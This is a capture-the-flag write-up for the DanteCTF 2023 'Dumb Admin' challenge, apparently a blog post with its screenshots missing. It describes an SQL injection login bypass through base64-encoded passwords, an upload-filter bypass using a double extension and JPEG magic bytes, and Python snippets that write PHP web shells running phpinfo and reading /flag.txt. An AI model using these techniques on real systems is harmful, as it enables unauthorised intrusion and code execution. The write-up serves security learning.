Home [DanteCTF 2023] - Dumb Admin
Post
Cancel

[DanteCTF 2023] - Dumb Admin


The Admin coded his dashboard by himself. He’s sure to be a pro coder and he’s so satisfied about it. Can you make him rethink that?

https://dumbadmin.challs.dantectf.it




By reaching the URL we arrive on a basic login form :

0

In order to see how the application works I tried test:test credentials:

1

And here is the anwser:

2

Invalid password format. Here, we understand we have to give a password in a specific encoding. My first idea was to try giving a base64-encoded password.

2

So let’s try test:dGVzdA==:

2

Nice ! So we are on the right way, we must encode our passwords in base64.

Now, we can basically try an SQL injection, in order to bypass the authentication step:

2

It works ! So, now we have gaining access to the Admin panel, and it looks like we can upload files:

2

As there is the “Max 2KB” constraint, I decided to generate a very small image in python, with the PIL library :

1
2
3
4
5
6
7
from PIL import Image

image = Image.new("1", (1, 1))

image.putpixel((0, 0), 0)

image.save("pic.jpeg")

Then I uploaded it:

2

And by clicking on the link, we arrive on this page showing us the rendering :

2

At this point, we understand we probably have to exploit a FileUpload vulnerability. In this case, I started BurpSuite and tried to upload a .php file :

2

Not surprisingly, we notice that .php files arn’t allowed.

By looking at Hacktricks - FileUpload section, we can see an interesting part to bypass file extension checks :

2

So let’s try to add a valid file extension, as explained :

2

It works, but unfortunately, it seems that the program checks the content of the file.

After a lot of attempts, I noticed something interesting in the request’s response :

2

Now, we understand our file is checked by the exif_imagetype() function.

2

Then, I searched some exploits or techniques to bypass this function, and I found an interesting Githug repository called ShellImage :

2

So let’s try this, and execute a phpinfo on the server :

1
2
3
fh = open('exploit.jpeg.php', 'w')
fh.write('\xFF\xD8\xFF\xE0' + '<? phpinfo(); ?>')
fh.close()

Uploading the php file :

2

It looks like it worked !

2

And now, by going on our php file, we should see our phpinfo content :

2

Perfect, we are now able to RCE, so let’s get the flag :

1
2
3
fh = open('exploit2.jpeg.php', 'w')
fh.write('\xFF\xD8\xFF\xE0' + '<? system("cat /flag.txt"); ?>')
fh.close()

2

🚩 DANTE {YOu_Kn0w_how_t0_bypass_things_in_PhP9Abd7BdCFF}

This post is licensed under CC BY 4.0 by the author.